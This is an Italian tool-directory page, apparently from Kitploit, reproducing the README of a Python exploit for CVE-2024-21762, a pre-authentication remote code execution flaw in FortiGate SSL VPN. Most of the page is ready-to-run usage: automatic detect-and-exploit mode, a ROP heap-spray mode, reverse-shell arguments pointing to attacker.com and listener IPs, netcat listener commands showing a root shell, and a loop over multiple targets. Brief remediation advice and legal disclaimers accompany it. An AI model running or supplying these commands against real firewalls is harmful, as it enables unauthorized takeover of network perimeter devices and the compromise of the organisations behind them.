Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-21762 — Rileva e sfrutta CVE-2024-21762 RCE pre-autenticazione in FortiGate SSL VPN, con validazione di base, sfruttamento automatico, modalità ROP heap-spray e reverse shell. | Kitploit
Strumenti/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

Rileva e sfrutta CVE-2024-21762 RCE pre-autenticazione in FortiGate SSL VPN, con validazione di base, sfruttamento automatico, modalità ROP heap-spray e reverse shell.

Vedi Repository
7 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-21762 - FortiGate SSL VPN RCE Detection & Exploitation Tool

Python 3.7+ License Vulnerability: Critical

Strumento di rilevamento ed exploit per CVE-2024-21762 - Vulnerabilità critica in FortiGate SSL VPN

⚠️ AVVISO LEGALE: Questo strumento è esclusivamente per uso in ambienti di test autorizzati. L'uso non autorizzato su sistemi è ILLEGALE e può comportare serie conseguenze legali.

Panoramica Generale

CVE-2024-21762 è una vulnerabilità critica nei componenti FortiGate SSL VPN che consente Remote Code Execution (RCE) pre-autenticazione. Il difetto risiede in un parsing vulnerabile di richieste HTTP con Transfer-Encoding chunked, causando una scrittura out-of-bounds nel componente sslvpnd.

Dettagli Tecnici

AttributoInformazione
CVE IDCVE-2024-21762
VulnerabilitàScrittura out-of-bounds in sslvpnd
TipoRemote Code Execution (RCE) Pre-Autenticazione
CVSS Score9.8 (Critical)
Componente InteressatoFortiOS SSL VPN
Versioni Vulnerabili7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

Funzionalità

✅ Rilevamento della Vulnerabilità - Identifica FortiGate vulnerabili tramite richieste malformate
✅ Test di Baseline - Verifica il comportamento normale del server prima dei test
✅ Modalità Automatica - Rileva e sfrutta automaticamente la vulnerabilità
✅ Reverse Shell - Supporta reverse shell bash con configurazione IP/porta
✅ Validazione dell'Input - Valida IP e porte prima dell'exploit
✅ Rapporti Dettagliati - Genera rapporti con raccomandazioni di remediation
✅ Gestione Robusta degli Errori - Gestione sicura delle connessioni e delle eccezioni

Requisiti

  • Python 3.7 o superiore
  • Moduli standard della libreria Python (socket, ssl, argparse, datetime, time, re)
  • Accesso di rete al target (porta 443 o personalizzata)

Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762

# Verifica la sintassi
python -m py_compile EXPLOIT.py

# Esegui lo script
python EXPLOIT.py -h

Utilizzo

Utilizzo Base

root@kitploit:~
# Test semplice di rilevamento
python EXPLOIT.py 192.168.1.100

# Con porta personalizzata
python EXPLOIT.py 192.168.1.100 -p 8443

# Con timeout aumentato
python EXPLOIT.py 192.168.1.100 --timeout 20

Modalità Automatica (Rilevamento + Exploit)

root@kitploit:~
# Modalità automatica con reverse shell preconfigurato
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Modalità automatica senza credenziali (richiede interattivamente)
python EXPLOIT.py 192.168.1.100 --auto

Modalità ROP - Exploit Avanzato con Heap Spray

La modalità ROP implementa un exploit a due stadi con heap spray per target specifici (FortiOS 7.4.2):

root@kitploit:~
# Exploit ROP con reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# Con porta personalizzata
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# Con timeout aumentato per target lenti
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

Flusso dell'Exploit ROP:

  1. Stadio 1: Invio di heap spray da 1.8MB con ROP gadgets
  2. Attesa di 2 secondi per l'elaborazione della CPU
  3. Stadio 2: Attivazione della scrittura OOB con chunk di 4137 bytes
  4. Attesa di 3 secondi per l'esecuzione del payload
  5. Connessione inversa Node.js stabilita

Sul tuo server di ascolto:

root@kitploit:~
# Linux/Mac/Windows con netcat
nc -lnvp 4242

# Output previsto:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Nota Importante: La modalità ROP è ottimizzata per FortiOS 7.4.2.F-build2571. Altre versioni potrebbero non funzionare a causa degli offset hardcoded della catena ROP.

Test Manuale con Reverse Shell

root@kitploit:~
# Inviare payload di reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Combinazione di più opzioni
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Opzioni Disponibili

root@kitploit:~
positional arguments:
  target                    Target hostname o IP da testare

optional arguments:
  -h, --help               Mostra questo messaggio di aiuto
  -t, --target HOSTNAME    Target hostname o IP (alternativo)
  -p, --port PORT          Porta SSL VPN (predefinita: 443)
  --timeout SECONDS        Timeout in secondi (predefinito: 10)
  -li, --lhost IP          IP locale per ricevere reverse shell
  -lp, --lport PORT        Porta locale per ricevere reverse shell
  --no-baseline            Salta il test di baseline
  --auto                   Modalità automatica: rileva e sfrutta
  --rop                    Modalità ROP: exploit avanzato con heap spray (FortiOS 7.4.2)
  -v, --version            Mostra la versione dello script

Esempi di Utilizzo Completi

1. Rilevamento Semplice

root@kitploit:~
python EXPLOIT.py 192.168.1.100

Risultato atteso in caso di vulnerabilità:

root@kitploit:~
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL

2. Exploit Automatico con Reverse Shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

Sul tuo server:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Test su Più Target

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Come Funziona

Flusso di Rilevamento

  1. Test di Baseline - Invia una richiesta HTTP normale per verificare il comportamento predefinito
  2. Richiesta Malformata - Invia una richiesta HTTP malformata con chunked encoding vulnerabile
  3. Analisi - Analizza la risposta per rilevare segni di vulnerabilità:
    • Chiusura brusca della connessione
    • Timeout/crash del server
    • Alert TLS anomali
  4. Rapporto - Genera un rapporto con stato e raccomandazioni

Flusso dell'Exploit (Modalità Automatica)

  1. Esegue il test di rilevamento
  2. Se vulnerabile, inietta il payload di reverse shell
  3. Attende la connessione inversa
  4. Genera il rapporto finale

Indicatori di Vulnerabilità

Lo strumento considera un target vulnerabile quando rileva uno dei seguenti comportamenti:

  • ✓ Connessione chiusa bruscamente (Risposta vuota)
  • ✓ Timeout dopo l'invio del payload (crash del server)
  • ✓ Alert TLS ricevuto (sslvpnd crashed)
  • ✓ Connection Reset by Peer

Versioni Affette

VersioneRilevamentoModalità ROPStato
FortiOS 7.0.0 - 7.0.13✅ Sì❌ No⚠️ VULNERABILE
FortiOS 7.2.0 - 7.2.6✅ Sì❌ No⚠️ VULNERABILE
FortiOS 7.4.0 - 7.4.1✅ Sì❌ No⚠️ VULNERABILE
FortiOS 7.4.2 (build≤2571)✅ Sì✅ Sì⚠️ VULNERABILE
FortiOS 7.4.3+❌ No❌ No✅ CORRETTO

Remediation

Azioni Immediate

  1. Aggiornare FortiOS alla versione corretta:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. Isolamento Temporaneo

    • Disabilitare l'accesso esterno a SSL VPN
    • Limitare l'accesso amministrativo
  3. Monitoraggio

    • Rivedere i log per segni di exploit
    • Verificare credenziali e accessi anomali

Verifica Successiva

root@kitploit:~
# Verificare la versione di FortiOS
python EXPLOIT.py tuo-fortinet.com

Se il risultato mostra 'NON VULNERABILE', la patch è stata applicata con successo.

Struttura del Progetto

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # Script principale di exploit
├── README.md           # Questo file
├── LICENSE             # Licenza MIT
└── .gitignore          # Configurazione Git

Metodi della Classe

CVE2024_21762_Detector

MetodoDescrizione
test_vulnerability()Testa la vulnerabilità inviando una richiesta malformata
exploit(lhost, lport)Sfrutta la vulnerabilità con reverse shell
test_baseline()Testa il comportamento normale del server
generate_report()Genera il rapporto finale con stato
_create_ssl_context()Crea un contesto SSL riutilizzabile
_create_socket_connection()Crea una connessione TLS sicura
_close_socket(sock)Chiude il socket in modo sicuro
_is_valid_ip(ip_str)Valida il formato dell'IP

Gestione degli Errori

Lo strumento implementa:

  • ✓ Validazione robusta dell'input
  • ✓ Gestione delle eccezioni SSL/TLS
  • ✓ Timeout nelle connessioni
  • ✓ Chiusura sicura dei socket
  • ✓ Messaggi di errore descrittivi

Limitazioni

  • ⚠️ Richiede connettività di rete al target
  • ⚠️ Rileva la vulnerabilità ma non garantisce un exploit riuscito
  • ⚠️ Reverse shell dipende dall'ambiente target (richiede bash)
  • ⚠️ Non funziona con firewall restrittivo

FAQ

D: È possibile usarlo in ambiente Windows?
R: Sì, lo script Python funziona su Windows, ma la reverse shell bash predefinita non funzionerà. Avresti bisogno di un payload personalizzato.

D: Come sapere se l'exploit ha avuto successo?
R: Verifica la macchina in ascolto per la reverse shell (nc/ncat). Lo script mostrerà messaggi che indicano il progresso.

D: Posso usarlo contro più target?
R: Sì, puoi creare uno script bash/PowerShell per iterare su una lista di IP.

D: Qual è la differenza tra modalità normale e automatica?
R: La modalità automatica sfrutta automaticamente se viene trovata una vulnerabilità. La modalità normale rileva solo.

Contribuire

Hai trovato un bug o hai suggerimenti? Apri una issue o fai una pull request!

Licenza

Questo progetto è concesso in licenza sotto la Licenza MIT - consulta il file LICENSE per i dettagli.

Disclaimer

Questo software è fornito 'così com'è' a scopo di ricerca e test autorizzati. Gli autori non sono responsabili per:

  • Danni causati da uso non autorizzato
  • Perdita di dati
  • Impatto su sistemi di produzione
  • Conseguenze legali dell'uso non autorizzato

UTILIZZA RESPONSABILMENTE E SOLO IN AMBIENTI AUTORIZZATI

Riferimenti

  • Fortinet Security Advisory
  • NVD - CVE-2024-21762
  • CVSS Calculator

Autore

Sviluppato a fini educativi e di ricerca in sicurezza informatica.


⚠️ Ricorda: Usa questo strumento solo su sistemi che possiedi o per i quali hai esplicita autorizzazione a testare. L'exploit non autorizzato è un reato.

Scarica lo strumento